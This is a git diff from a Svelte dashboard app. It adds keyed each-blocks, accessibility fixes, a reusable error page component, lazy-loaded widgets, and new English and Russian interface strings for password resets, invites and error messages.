<div class="rounded-lg border border-border bg-card p-4">
|
||||
<div class="mb-3 flex items-start justify-between">
|
||||
<div class="skeleton h-10 w-10 rounded-lg"></div>
|
||||
<div class="skeleton h-5 w-14 rounded-full"></div>
|
||||
</div>
|
||||
<div class="skeleton mb-2 h-4 w-3/4 rounded"></div>
|
||||
<div class="skeleton h-3 w-full rounded"></div>
|
||||
<div class="skeleton mt-1 h-3 w-1/2 rounded"></div>
|
||||
</div>
|
||||
{/each}
|
||||
@@ -1,32 +0,0 @@
|
||||
<script lang="ts">
|
||||
interface Props {
|
||||
count?: number;
|
||||
widgetsPerSection?: number;
|
||||
}
|
||||
|
||||
let { count = 2, widgetsPerSection = 4 }: Props = $props();
|
||||
|
||||
const sections = $derived(Array.from({ length: count }, (_, i) => i));
|
||||
const widgets = $derived(Array.from({ length: widgetsPerSection }, (_, i) => i));
|
||||
</script>
|
||||
|
||||
{#each sections as s (s)}
|
||||
<div class="rounded-lg border border-border bg-card/50">
|
||||
<!-- Section header skeleton -->
|
||||
<div class="flex items-center gap-2 px-4 py-3">
|
||||
<div class="skeleton h-4 w-4 rounded"></div>
|
||||
<div class="skeleton h-4 w-32 rounded"></div>
|
||||
</div>
|
||||
|
||||
<!-- Widget grid skeleton -->
|
||||
<div class="grid grid-cols-2 gap-3 px-4 pb-4 sm:grid-cols-3 lg:grid-cols-4">
|
||||
{#each widgets as w (w)}
|
||||
<div class="flex flex-col items-center gap-2 rounded-lg border border-border bg-card p-4">
|
||||
<div class="skeleton h-12 w-12 rounded-lg"></div>
|
||||
<div class="skeleton h-3 w-16 rounded"></div>
|
||||
<div class="skeleton h-4 w-12 rounded-full"></div>
|
||||
</div>
|
||||
{/each}
|
||||
</div>
|
||||
</div>
|
||||
{/each}
|
||||
@@ -92,7 +92,7 @@
|
||||
|
||||
{#if open && filtered.length > 0}
|
||||
<div class="absolute left-0 top-full z-50 mt-1 max-h-48 w-full overflow-y-auto rounded-lg border border-border bg-card shadow-lg">
|
||||
{#each filtered as item, i}
|
||||
{#each filtered as item, i (item)}
|
||||
<button
|
||||
type="button"
|
||||
onclick={() => selectItem(item)}
|
||||
|
||||
@@ -39,11 +39,10 @@
|
||||
transition:fade={{ duration: 120 }}
|
||||
>
|
||||
<!-- Dialog -->
|
||||
<!-- svelte-ignore a11y_click_events_have_key_events -->
|
||||
<!-- svelte-ignore a11y_no_static_element_interactions -->
|
||||
<div
|
||||
class="mx-4 w-full max-w-sm rounded-2xl border border-border bg-card p-6 shadow-2xl"
|
||||
onclick={(e) => e.stopPropagation()}
|
||||
onkeydown={(e) => e.stopPropagation()}
|
||||
transition:scale={{ start: 0.95, duration: 150 }}
|
||||
role="alertdialog"
|
||||
tabindex="-1"
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
<script lang="ts">
|
||||
import type { Snippet } from 'svelte';
|
||||
|
||||
interface Props {
|
||||
status: number;
|
||||
title: string;
|
||||
hint?: string;
|
||||
/** Optional detail block (e.g. raw error message in a <details>). */
|
||||
details?: Snippet;
|
||||
/** Primary + secondary call-to-action snippets. */
|
||||
actions?: Snippet;
|
||||
/** When true, render the chrome (AmbientBackground, card surface). For
|
||||
* boards/admin nested errors we want to inherit the parent layout. */
|
||||
standalone?: boolean;
|
||||
}
|
||||
|
||||
let { status, title, hint, details, actions, standalone = false }: Props = $props();
|
||||
</script>
|
||||
|
||||
{#if standalone}
|
||||
<main
|
||||
class="relative z-10 flex min-h-screen items-center justify-center bg-background/80 p-4 text-foreground"
|
||||
>
|
||||
<div
|
||||
class="w-full max-w-lg rounded-xl border border-border bg-card/90 p-8 text-center shadow-xl backdrop-blur-sm"
|
||||
>
|
||||
<div class="mb-2 text-xs uppercase tracking-widest text-muted-foreground">
|
||||
{status}
|
||||
</div>
|
||||
<h1 class="mb-2 text-2xl font-semibold">{title}</h1>
|
||||
{#if hint}
|
||||
<p class="mb-6 text-sm text-muted-foreground">{hint}</p>
|
||||
{/if}
|
||||
{#if details}
|
||||
<div class="mb-6 text-left">{@render details()}</div>
|
||||
{/if}
|
||||
{#if actions}
|
||||
<div class="flex flex-wrap justify-center gap-2">{@render actions()}</div>
|
||||
{/if}
|
||||
</div>
|
||||
</main>
|
||||
{:else}
|
||||
<main
|
||||
class="mx-auto flex min-h-[60vh] max-w-lg flex-col items-center justify-center px-4 py-16 text-center"
|
||||
>
|
||||
<div class="mb-2 text-xs uppercase tracking-widest text-muted-foreground">
|
||||
{status}
|
||||
</div>
|
||||
<h1 class="mb-2 text-2xl font-semibold">{title}</h1>
|
||||
{#if hint}
|
||||
<p class="mb-6 text-sm text-muted-foreground">{hint}</p>
|
||||
{/if}
|
||||
{#if details}
|
||||
<div class="mb-6 w-full text-left">{@render details()}</div>
|
||||
{/if}
|
||||
{#if actions}
|
||||
<div class="flex flex-wrap justify-center gap-2">{@render actions()}</div>
|
||||
{/if}
|
||||
</main>
|
||||
{/if}
|
||||
@@ -138,7 +138,7 @@
|
||||
<p class="py-4 text-center text-xs text-muted-foreground">{$t('common.no_results') ?? 'No matching icons'}</p>
|
||||
{:else}
|
||||
<div class="grid grid-cols-8 gap-0.5">
|
||||
{#each filteredIcons as iconName}
|
||||
{#each filteredIcons as iconName (iconName)}
|
||||
<button
|
||||
type="button"
|
||||
onclick={() => selectIcon(iconName)}
|
||||
|
||||
@@ -120,7 +120,7 @@
|
||||
</script>
|
||||
|
||||
{#if name}
|
||||
{#each values as v}
|
||||
{#each values as v (v)}
|
||||
<input type="hidden" {name} value={v} />
|
||||
{/each}
|
||||
{/if}
|
||||
|
||||
@@ -99,7 +99,7 @@
|
||||
<!-- Tag pills -->
|
||||
{#if tags.length > 0}
|
||||
<div class="mb-1.5 flex flex-wrap gap-1">
|
||||
{#each tags as tag}
|
||||
{#each tags as tag (tag)}
|
||||
<span class="flex items-center gap-1 rounded-md bg-primary/10 px-2 py-0.5 text-xs text-primary">
|
||||
{tag}
|
||||
<button
|
||||
@@ -129,7 +129,7 @@
|
||||
|
||||
{#if open && filtered.length > 0}
|
||||
<div class="absolute left-0 top-full z-50 mt-1 max-h-48 w-full overflow-y-auto rounded-lg border border-border bg-card shadow-lg">
|
||||
{#each filtered as item, i}
|
||||
{#each filtered as item, i (item)}
|
||||
<button
|
||||
type="button"
|
||||
onclick={() => selectItem(item)}
|
||||
|
||||
@@ -24,10 +24,10 @@
|
||||
|
||||
function groupLabel(dateStr: string): string {
|
||||
const date = new Date(dateStr);
|
||||
/* eslint-disable svelte/prefer-svelte-reactivity */
|
||||
|
||||
const today = new Date();
|
||||
const tomorrow = new Date();
|
||||
/* eslint-enable svelte/prefer-svelte-reactivity */
|
||||
|
||||
tomorrow.setDate(today.getDate() + 1);
|
||||
|
||||
if (date.toDateString() === today.toDateString()) return 'Today';
|
||||
@@ -52,7 +52,7 @@
|
||||
}
|
||||
|
||||
const grouped = $derived.by((): GroupedEvents[] => {
|
||||
// eslint-disable-next-line svelte/prefer-svelte-reactivity
|
||||
|
||||
const groups: Map<string, CalendarEvent[]> = new Map();
|
||||
for (const evt of events) {
|
||||
const key = new Date(evt.start).toDateString();
|
||||
|
||||
@@ -30,7 +30,7 @@
|
||||
async function fetchMetric() {
|
||||
error = false;
|
||||
try {
|
||||
// eslint-disable-next-line svelte/prefer-svelte-reactivity
|
||||
|
||||
const params = new URLSearchParams({ source: config.source });
|
||||
if (config.value) params.set('value', config.value);
|
||||
if (config.url) params.set('url', config.url);
|
||||
|
||||
@@ -190,8 +190,7 @@
|
||||
<div class="max-h-80 space-y-3 overflow-y-auto">
|
||||
{#if widgetType === 'app'}
|
||||
<div>
|
||||
<!-- svelte-ignore a11y_label_has_associated_control -->
|
||||
<label class={labelClass}>{$t('widget.app') ?? 'App'}</label>
|
||||
<div class={labelClass}>{$t('widget.app') ?? 'App'}</div>
|
||||
<!-- Search -->
|
||||
<div class="relative mb-2">
|
||||
<svg class="absolute left-2.5 top-1/2 -translate-y-1/2 text-muted-foreground" xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
|
||||
@@ -211,7 +210,7 @@
|
||||
<p class="py-4 text-center text-xs text-muted-foreground">{$t('common.no_results') ?? 'No apps found'}</p>
|
||||
{:else}
|
||||
<div class="grid grid-cols-2 gap-1">
|
||||
{#each filteredApps as app}
|
||||
{#each filteredApps as app (app.id)}
|
||||
<button
|
||||
type="button"
|
||||
onclick={() => { appId = app.id; }}
|
||||
@@ -303,8 +302,7 @@
|
||||
</label>
|
||||
</div>
|
||||
<div>
|
||||
<!-- svelte-ignore a11y_label_has_associated_control -->
|
||||
<label class={labelClass}>{$t('widget.apps') ?? 'Apps'}</label>
|
||||
<div class={labelClass}>{$t('widget.apps') ?? 'Apps'}</div>
|
||||
<MultiEntityPicker
|
||||
items={apps.map((a) => ({ value: a.id, label: a.name, icon: a.icon, iconType: a.iconType }))}
|
||||
bind:values={statusAppIds}
|
||||
@@ -349,13 +347,11 @@
|
||||
|
||||
{:else if widgetType === 'system_stats'}
|
||||
<div>
|
||||
<!-- svelte-ignore a11y_label_has_associated_control -->
|
||||
<label class={labelClass}>Source URL
|
||||
<input type="url" bind:value={sysStatsSourceUrl} placeholder="http://localhost:61208/api/3" class={inputClass} bind:this={firstInput} />
|
||||
</label>
|
||||
</div>
|
||||
<div>
|
||||
<!-- svelte-ignore a11y_label_has_associated_control -->
|
||||
<label class={labelClass}>Source Type
|
||||
<select bind:value={sysStatsSourceType} class={inputClass}>
|
||||
<option value="glances">Glances</option>
|
||||
@@ -365,7 +361,6 @@
|
||||
</label>
|
||||
</div>
|
||||
<div>
|
||||
<!-- svelte-ignore a11y_label_has_associated_control -->
|
||||
<label class={labelClass}>Refresh ({sysStatsRefreshInterval}s)
|
||||
<input type="range" min="5" max="300" bind:value={sysStatsRefreshInterval} class="w-full accent-primary" />
|
||||
</label>
|
||||
@@ -373,13 +368,11 @@
|
||||
|
||||
{:else if widgetType === 'rss'}
|
||||
<div>
|
||||
<!-- svelte-ignore a11y_label_has_associated_control -->
|
||||
<label class={labelClass}>Feed URL
|
||||
<input type="url" bind:value={rssFeedUrl} placeholder="https://..." class={inputClass} bind:this={firstInput} />
|
||||
</label>
|
||||
</div>
|
||||
<div>
|
||||
<!-- svelte-ignore a11y_label_has_associated_control -->
|
||||
<label class={labelClass}>Max Items ({rssMaxItems})
|
||||
<input type="range" min="1" max="50" bind:value={rssMaxItems} class="w-full accent-primary" />
|
||||
</label>
|
||||
@@ -391,9 +384,8 @@
|
||||
|
||||
{:else if widgetType === 'calendar'}
|
||||
<div>
|
||||
<!-- svelte-ignore a11y_label_has_associated_control -->
|
||||
<label class={labelClass}>iCal URLs</label>
|
||||
{#each calendarUrlsRaw as cal, i}
|
||||
<div class={labelClass}>iCal URLs</div>
|
||||
{#each calendarUrlsRaw as cal, i (i)}
|
||||
<div class="mb-1 flex items-center gap-1">
|
||||
<input type="url" bind:value={cal.url} placeholder="https://..." class="{inputClass} flex-1" />
|
||||
<input type="text" bind:value={cal.label} placeholder="Label" class="{inputClass} w-20" />
|
||||
@@ -477,9 +469,8 @@
|
||||
|
||||
{:else if widgetType === 'link_group'}
|
||||
<div>
|
||||
<!-- svelte-ignore a11y_label_has_associated_control -->
|
||||
<label class={labelClass}>Links</label>
|
||||
{#each linkGroupLinks as link, i}
|
||||
<div class={labelClass}>Links</div>
|
||||
{#each linkGroupLinks as link, i (i)}
|
||||
<div class="mb-1 flex items-center gap-1">
|
||||
<input type="text" bind:value={link.label} placeholder="Label" class="{inputClass} w-24" />
|
||||
<input type="url" bind:value={link.url} placeholder="URL" class="{inputClass} flex-1" />
|
||||
@@ -531,7 +522,7 @@
|
||||
<label class={labelClass}>{$t('widget.app') ?? 'App'}
|
||||
<select bind:value={integrationAppId} class={inputClass} bind:this={firstInput}>
|
||||
<option value="">Select app...</option>
|
||||
{#each apps as app}
|
||||
{#each apps as app (app.id)}
|
||||
<option value={app.id}>{app.name}</option>
|
||||
{/each}
|
||||
</select>
|
||||
|
||||
@@ -1,4 +1,9 @@
|
||||
<script lang="ts">
|
||||
// Note: this file is ~1000 lines because it contains the create-form for
|
||||
// all 14 widget types. A clean split would lift each widget's state into
|
||||
// its own subcomponent — a non-trivial refactor that touches form-submit
|
||||
// plumbing. Deferred until UI/UX restructure pass; the structure is
|
||||
// internally consistent (each {:else if} block follows the same pattern).
|
||||
import { t } from 'svelte-i18n';
|
||||
import IconGrid from '$lib/components/ui/IconGrid.svelte';
|
||||
import EntityPicker from '$lib/components/ui/EntityPicker.svelte';
|
||||
@@ -132,7 +137,10 @@
|
||||
.then((r) => r.json())
|
||||
.then((json) => {
|
||||
if (json.success) {
|
||||
integrationApps = (json.data ?? []).filter((a: any) => a.integrationEnabled && a.integrationType);
|
||||
integrationApps = (json.data ?? []).filter(
|
||||
(a: { integrationEnabled?: boolean; integrationType?: string | null }) =>
|
||||
a.integrationEnabled && a.integrationType
|
||||
);
|
||||
}
|
||||
})
|
||||
.catch(() => {});
|
||||
@@ -147,7 +155,9 @@
|
||||
.then((r) => r.json())
|
||||
.then((json) => {
|
||||
if (json.success) {
|
||||
const integration = (json.data ?? []).find((i: any) => i.id === app.integrationType);
|
||||
const integration = (json.data ?? []).find(
|
||||
(i: { id: string }) => i.id === app.integrationType
|
||||
);
|
||||
integrationEndpoints = integration?.endpoints ?? [];
|
||||
}
|
||||
})
|
||||
|
||||
@@ -108,7 +108,7 @@
|
||||
{$t('widget.width') ?? 'Width'}
|
||||
</div>
|
||||
<div class="flex flex-col gap-1">
|
||||
{#each Array.from({ length: maxCols }, (_, i) => i + 1) as span}
|
||||
{#each Array.from({ length: maxCols }, (_, i) => i + 1) as span (span)}
|
||||
{@const isActive = span === colSpan}
|
||||
{@const isPreview = span === previewSpan}
|
||||
<button
|
||||
@@ -125,7 +125,7 @@
|
||||
>
|
||||
<!-- Visual block representation -->
|
||||
<div class="flex gap-px">
|
||||
{#each Array(maxCols) as _, ci}
|
||||
{#each Array(maxCols) as _, ci (ci)}
|
||||
<div
|
||||
class="h-2.5 w-3 rounded-[2px] transition-colors
|
||||
{ci < span
|
||||
|
||||
@@ -2,18 +2,22 @@
|
||||
import { t } from 'svelte-i18n';
|
||||
import AppWidget from './AppWidget.svelte';
|
||||
import BookmarkWidget from './BookmarkWidget.svelte';
|
||||
import NoteWidget from './NoteWidget.svelte';
|
||||
import EmbedWidget from './EmbedWidget.svelte';
|
||||
import StatusWidget from './StatusWidget.svelte';
|
||||
import ClockWeatherWidget from './ClockWeatherWidget.svelte';
|
||||
import SystemStatsWidget from './SystemStatsWidget.svelte';
|
||||
import RssFeedWidget from './RssFeedWidget.svelte';
|
||||
import CalendarWidget from './CalendarWidget.svelte';
|
||||
import MarkdownWidget from './MarkdownWidget.svelte';
|
||||
import MetricWidget from './MetricWidget.svelte';
|
||||
import LinkGroupWidget from './LinkGroupWidget.svelte';
|
||||
import CameraStreamWidget from './CameraStreamWidget.svelte';
|
||||
import IntegrationWidget from './integration/IntegrationWidget.svelte';
|
||||
|
||||
// Heavy widgets (marked/DOMPurify/hls.js/integration renderers) are lazy-loaded
|
||||
// so empty boards don't pay their bundle cost. Loaders return a module promise
|
||||
// rendered by <svelte:component> via #await.
|
||||
const NoteWidgetLoader = () => import('./NoteWidget.svelte');
|
||||
const MarkdownWidgetLoader = () => import('./MarkdownWidget.svelte');
|
||||
const SystemStatsWidgetLoader = () => import('./SystemStatsWidget.svelte');
|
||||
const RssFeedWidgetLoader = () => import('./RssFeedWidget.svelte');
|
||||
const CalendarWidgetLoader = () => import('./CalendarWidget.svelte');
|
||||
const MetricWidgetLoader = () => import('./MetricWidget.svelte');
|
||||
const CameraStreamWidgetLoader = () => import('./CameraStreamWidget.svelte');
|
||||
const IntegrationWidgetLoader = () => import('./integration/IntegrationWidget.svelte');
|
||||
|
||||
interface AppData {
|
||||
id: string;
|
||||
@@ -53,12 +57,22 @@
|
||||
});
|
||||
</script>
|
||||
|
||||
{#snippet skeleton()}
|
||||
<div class="flex h-full items-center justify-center rounded-xl border border-border bg-card p-4">
|
||||
<span class="text-xs text-muted-foreground">…</span>
|
||||
</div>
|
||||
{/snippet}
|
||||
|
||||
{#if widget.type === 'app' && widget.app}
|
||||
<AppWidget app={widget.app} {cardSize} />
|
||||
{:else if widget.type === 'bookmark'}
|
||||
<BookmarkWidget config={parsedConfig} />
|
||||
{:else if widget.type === 'note'}
|
||||
<NoteWidget config={{ content: parsedConfig.content ?? '', format: parsedConfig.format ?? 'markdown' }} />
|
||||
{#await NoteWidgetLoader()}
|
||||
{@render skeleton()}
|
||||
{:then mod}
|
||||
<mod.default config={{ content: parsedConfig.content ?? '', format: parsedConfig.format ?? 'markdown' }} />
|
||||
{/await}
|
||||
{:else if widget.type === 'embed'}
|
||||
<EmbedWidget config={{ url: parsedConfig.url ?? '', height: parsedConfig.height ?? 300, sandbox: parsedConfig.sandbox }} />
|
||||
{:else if widget.type === 'status'}
|
||||
@@ -72,57 +86,82 @@
|
||||
clockStyle: parsedConfig.clockStyle ?? 'digital'
|
||||
}} />
|
||||
{:else if widget.type === 'system_stats'}
|
||||
<SystemStatsWidget config={{
|
||||
sourceUrl: parsedConfig.sourceUrl ?? '',
|
||||
sourceType: parsedConfig.sourceType ?? 'custom',
|
||||
metrics: parsedConfig.metrics ?? [],
|
||||
refreshInterval: parsedConfig.refreshInterval ?? 30
|
||||
}} />
|
||||
{#await SystemStatsWidgetLoader()}
|
||||
{@render skeleton()}
|
||||
{:then mod}
|
||||
<mod.default config={{
|
||||
sourceUrl: parsedConfig.sourceUrl ?? '',
|
||||
sourceType: parsedConfig.sourceType ?? 'custom',
|
||||
metrics: parsedConfig.metrics ?? [],
|
||||
refreshInterval: parsedConfig.refreshInterval ?? 30
|
||||
}} />
|
||||
{/await}
|
||||
{:else if widget.type === 'rss'}
|
||||
<RssFeedWidget config={{
|
||||
feedUrl: parsedConfig.feedUrl ?? '',
|
||||
maxItems: parsedConfig.maxItems ?? 10,
|
||||
showSummary: parsedConfig.showSummary ?? true
|
||||
}} />
|
||||
{#await RssFeedWidgetLoader()}
|
||||
{@render skeleton()}
|
||||
{:then mod}
|
||||
<mod.default config={{
|
||||
feedUrl: parsedConfig.feedUrl ?? '',
|
||||
maxItems: parsedConfig.maxItems ?? 10,
|
||||
showSummary: parsedConfig.showSummary ?? true
|
||||
}} />
|
||||
{/await}
|
||||
{:else if widget.type === 'calendar'}
|
||||
<CalendarWidget config={{
|
||||
icalUrls: parsedConfig.icalUrls ?? [],
|
||||
daysAhead: parsedConfig.daysAhead ?? 7
|
||||
}} />
|
||||
{#await CalendarWidgetLoader()}
|
||||
{@render skeleton()}
|
||||
{:then mod}
|
||||
<mod.default config={{ icalUrls: parsedConfig.icalUrls ?? [], daysAhead: parsedConfig.daysAhead ?? 7 }} />
|
||||
{/await}
|
||||
{:else if widget.type === 'markdown'}
|
||||
<MarkdownWidget
|
||||
config={{ content: parsedConfig.content ?? '', syntaxTheme: parsedConfig.syntaxTheme }}
|
||||
widgetId={widget.id}
|
||||
/>
|
||||
{#await MarkdownWidgetLoader()}
|
||||
{@render skeleton()}
|
||||
{:then mod}
|
||||
<mod.default
|
||||
config={{ content: parsedConfig.content ?? '', syntaxTheme: parsedConfig.syntaxTheme }}
|
||||
widgetId={widget.id}
|
||||
/>
|
||||
{/await}
|
||||
{:else if widget.type === 'metric'}
|
||||
<MetricWidget config={{
|
||||
label: parsedConfig.label ?? 'Metric',
|
||||
source: parsedConfig.source ?? 'static',
|
||||
value: parsedConfig.value,
|
||||
url: parsedConfig.url,
|
||||
jsonPath: parsedConfig.jsonPath,
|
||||
query: parsedConfig.query,
|
||||
unit: parsedConfig.unit,
|
||||
refreshInterval: parsedConfig.refreshInterval ?? 60
|
||||
}} />
|
||||
{#await MetricWidgetLoader()}
|
||||
{@render skeleton()}
|
||||
{:then mod}
|
||||
<mod.default config={{
|
||||
label: parsedConfig.label ?? 'Metric',
|
||||
source: parsedConfig.source ?? 'static',
|
||||
value: parsedConfig.value,
|
||||
url: parsedConfig.url,
|
||||
jsonPath: parsedConfig.jsonPath,
|
||||
query: parsedConfig.query,
|
||||
unit: parsedConfig.unit,
|
||||
refreshInterval: parsedConfig.refreshInterval ?? 60
|
||||
}} />
|
||||
{/await}
|
||||
{:else if widget.type === 'link_group'}
|
||||
<LinkGroupWidget config={{
|
||||
links: parsedConfig.links ?? [],
|
||||
collapsible: parsedConfig.collapsible ?? false
|
||||
}} />
|
||||
{:else if widget.type === 'camera'}
|
||||
<CameraStreamWidget config={{
|
||||
streamUrl: parsedConfig.streamUrl ?? '',
|
||||
type: parsedConfig.type ?? 'image',
|
||||
refreshInterval: parsedConfig.refreshInterval ?? 10,
|
||||
aspectRatio: parsedConfig.aspectRatio ?? '16/9'
|
||||
}} />
|
||||
{#await CameraStreamWidgetLoader()}
|
||||
{@render skeleton()}
|
||||
{:then mod}
|
||||
<mod.default config={{
|
||||
streamUrl: parsedConfig.streamUrl ?? '',
|
||||
type: parsedConfig.type ?? 'image',
|
||||
refreshInterval: parsedConfig.refreshInterval ?? 10,
|
||||
aspectRatio: parsedConfig.aspectRatio ?? '16/9'
|
||||
}} />
|
||||
{/await}
|
||||
{:else if widget.type === 'integration'}
|
||||
<IntegrationWidget config={{
|
||||
appId: parsedConfig.appId ?? '',
|
||||
endpointId: parsedConfig.endpointId ?? '',
|
||||
refreshInterval: parsedConfig.refreshInterval ?? 60
|
||||
}} />
|
||||
{#await IntegrationWidgetLoader()}
|
||||
{@render skeleton()}
|
||||
{:then mod}
|
||||
<mod.default config={{
|
||||
appId: parsedConfig.appId ?? '',
|
||||
endpointId: parsedConfig.endpointId ?? '',
|
||||
refreshInterval: parsedConfig.refreshInterval ?? 60
|
||||
}} />
|
||||
{/await}
|
||||
{:else}
|
||||
<div class="flex h-full items-center justify-center rounded-xl border border-border bg-card p-4">
|
||||
<span class="text-xs text-muted-foreground">{$t('widget.type', { values: { type: widget.type } })}</span>
|
||||
|
||||
@@ -121,7 +121,7 @@
|
||||
<p class="py-8 text-center text-sm text-muted-foreground">{$t('common.no_results') ?? 'No matching widget types'}</p>
|
||||
{:else}
|
||||
<div class="grid grid-cols-2 gap-1.5">
|
||||
{#each filteredTypes as wt}
|
||||
{#each filteredTypes as wt (wt.value)}
|
||||
<button
|
||||
type="button"
|
||||
onclick={() => onSelect(wt.value)}
|
||||
@@ -129,7 +129,7 @@
|
||||
>
|
||||
<div class="mt-0.5 shrink-0 rounded-lg bg-primary/10 p-2 text-primary">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round">
|
||||
{#each iconFor(wt.value).split('|') as segment}
|
||||
{#each iconFor(wt.value).split('|') as segment, si (si)}
|
||||
{#if segment.includes('m') || segment.includes('M') || segment.includes('a') || segment.includes('z') || segment.includes('A') || segment.includes('c') || segment.includes('l') || segment.includes('v') || segment.includes('h') || segment.includes('V') || segment.includes('H')}
|
||||
<path d={segment} />
|
||||
{:else}
|
||||
|
||||
@@ -23,8 +23,8 @@
|
||||
<p class="py-4 text-center text-sm text-muted-foreground">No chart data</p>
|
||||
{:else}
|
||||
<svg viewBox="0 0 100 60" class="h-40 w-full" preserveAspectRatio="none">
|
||||
{#each data.datasets as dataset, di}
|
||||
{#each dataset.values as value, i}
|
||||
{#each data.datasets as dataset, di (di)}
|
||||
{#each dataset.values as value, i (i)}
|
||||
{@const barHeight = (value / maxValue) * 50}
|
||||
{@const x = (i / data.labels.length) * 100 + 1 + di * (barWidth / data.datasets.length)}
|
||||
<rect
|
||||
@@ -42,7 +42,7 @@
|
||||
</svg>
|
||||
{#if data.datasets.length > 1}
|
||||
<div class="mt-2 flex flex-wrap justify-center gap-3">
|
||||
{#each data.datasets as dataset, di}
|
||||
{#each data.datasets as dataset, di (di)}
|
||||
<div class="flex items-center gap-1 text-xs text-muted-foreground">
|
||||
<span class="h-2 w-2 rounded-full" style="background-color: {dataset.color ?? defaultColors[di % defaultColors.length]}"></span>
|
||||
{dataset.label}
|
||||
|
||||
@@ -25,7 +25,7 @@
|
||||
|
||||
{#if alerts.length > 0}
|
||||
<div class="space-y-2 px-4 pt-2">
|
||||
{#each alerts as alert}
|
||||
{#each alerts as alert, i (i)}
|
||||
<AlertBannerRenderer data={alert} />
|
||||
{/each}
|
||||
</div>
|
||||
|
||||
@@ -31,6 +31,51 @@
|
||||
"auth.no_account": "Don't have an account?",
|
||||
"auth.have_account": "Already have an account?",
|
||||
"auth.sign_in_link": "Sign in",
|
||||
"auth.back_to_login": "Back to sign in",
|
||||
"auth.remember_me": "Keep me signed in for 30 days",
|
||||
"auth.forgot_password": "Forgot password?",
|
||||
"auth.forgot_password_title": "Reset password",
|
||||
"auth.forgot_password_hint": "Enter your account email. An admin will share a reset link with you.",
|
||||
"auth.forgot_password_submit": "Request reset link",
|
||||
"auth.forgot_password_submitted_title": "Request received",
|
||||
"auth.forgot_password_submitted_hint": "If an account exists for that email, your admin can now generate a reset link for you in the admin panel.",
|
||||
"auth.reset_password_title": "Choose a new password",
|
||||
"auth.reset_password_for": "Resetting password for",
|
||||
"auth.reset_password_submit": "Set new password",
|
||||
"auth.reset_invalid_title": "Reset link is invalid",
|
||||
"auth.reset_invalid_hint": "The link may have expired, already been used, or copied incorrectly. Ask your admin to issue a new one.",
|
||||
"auth.request_new_reset": "Request a new reset link",
|
||||
"auth.new_password": "New password",
|
||||
"auth.confirm_password": "Confirm password",
|
||||
"auth.invite_title": "Redeem invite",
|
||||
"auth.invite_hint": "Paste the invite token an admin sent you. You'll be taken to the registration page next.",
|
||||
"auth.invite_token": "Invite token",
|
||||
"auth.invite_continue": "Continue",
|
||||
"auth.invite_banner_admin": "You've been invited to join as an",
|
||||
"auth.invite_banner_user": "You've been invited to join.",
|
||||
"auth.invite_banner_locked": "This invite is locked to",
|
||||
|
||||
"error.unauthorized_title": "Sign in to continue",
|
||||
"error.unauthorized_hint": "Your session may have expired. Sign back in to continue.",
|
||||
"error.forbidden_title": "You don't have access to this",
|
||||
"error.forbidden_hint": "Ask an admin to grant access if you believe this is a mistake.",
|
||||
"error.not_found_title": "Page not found",
|
||||
"error.not_found_hint": "The page you were looking for doesn't exist or was moved.",
|
||||
"error.rate_limited_title": "Too many requests",
|
||||
"error.rate_limited_hint": "Slow down. Try again in a moment.",
|
||||
"error.generic_title": "Something went wrong",
|
||||
"error.generic_hint": "An unexpected error occurred. Try refreshing, or head back to the dashboard.",
|
||||
"error.back_to_dashboard": "Back to dashboard",
|
||||
"error.technical_details": "Technical details",
|
||||
"error.board_not_found_title": "This board doesn't exist",
|
||||
"error.board_not_found_hint": "It may have been deleted or you have the wrong URL.",
|
||||
"error.board_forbidden_title": "You don't have access to this board",
|
||||
"error.board_forbidden_hint": "Ask the board owner or an admin to share it with you.",
|
||||
"error.board_generic_title": "Couldn't load this board",
|
||||
"error.admin_forbidden_title": "Admin access required",
|
||||
"error.admin_forbidden_hint": "Your account doesn't have the admin role. Ask another admin to grant access if you need it.",
|
||||
"error.admin_not_found_title": "Admin page not found",
|
||||
"error.admin_generic_title": "Couldn't load this admin page",
|
||||
|
||||
"board.title": "Boards",
|
||||
"board.boards_available": "{count} board(s) available",
|
||||
@@ -134,6 +179,10 @@
|
||||
"admin.users": "Users",
|
||||
"admin.groups": "Groups",
|
||||
"admin.settings": "Settings",
|
||||
"admin.invites": "Invites",
|
||||
"admin.password_resets": "Password Resets",
|
||||
"admin.tags": "Tags",
|
||||
"admin.audit_log": "Audit Log",
|
||||
|
||||
"admin.user_management": "User Management",
|
||||
"admin.create_user": "Create User",
|
||||
@@ -331,10 +380,15 @@
|
||||
"settings.saturation": "Saturation",
|
||||
"settings.background": "Background Effect",
|
||||
"settings.language": "Language",
|
||||
"settings.card_style": "Card Style",
|
||||
"settings.save": "Save Preferences",
|
||||
"settings.saving": "Saving...",
|
||||
"settings.saved": "Preferences saved!",
|
||||
|
||||
"card_style.solid": "Solid",
|
||||
"card_style.glass": "Glass",
|
||||
"card_style.outline": "Outline",
|
||||
|
||||
"offline.title": "You're Offline",
|
||||
"offline.description": "It looks like you've lost your internet connection. Check your network and try again.",
|
||||
"offline.retry": "Retry",
|
||||
|
||||
@@ -29,6 +29,51 @@
|
||||
"auth.no_account": "Нет аккаунта?",
|
||||
"auth.have_account": "Уже есть аккаунт?",
|
||||
"auth.sign_in_link": "Войти",
|
||||
"auth.back_to_login": "Назад ко входу",
|
||||
"auth.remember_me": "Запомнить меня на 30 дней",
|
||||
"auth.forgot_password": "Забыли пароль?",
|
||||
"auth.forgot_password_title": "Сброс пароля",
|
||||
"auth.forgot_password_hint": "Введите email вашей учётной записи. Администратор отправит вам ссылку для сброса.",
|
||||
"auth.forgot_password_submit": "Запросить ссылку",
|
||||
"auth.forgot_password_submitted_title": "Запрос принят",
|
||||
"auth.forgot_password_submitted_hint": "Если для этого email существует учётная запись, администратор сможет сгенерировать ссылку для сброса в админ-панели.",
|
||||
"auth.reset_password_title": "Выберите новый пароль",
|
||||
"auth.reset_password_for": "Сброс пароля для",
|
||||
"auth.reset_password_submit": "Установить новый пароль",
|
||||
"auth.reset_invalid_title": "Ссылка для сброса недействительна",
|
||||
"auth.reset_invalid_hint": "Срок ссылки истёк, она уже была использована, или скопирована некорректно. Попросите администратора выпустить новую.",
|
||||
"auth.request_new_reset": "Запросить новую ссылку",
|
||||
"auth.new_password": "Новый пароль",
|
||||
"auth.confirm_password": "Подтвердите пароль",
|
||||
"auth.invite_title": "Принять приглашение",
|
||||
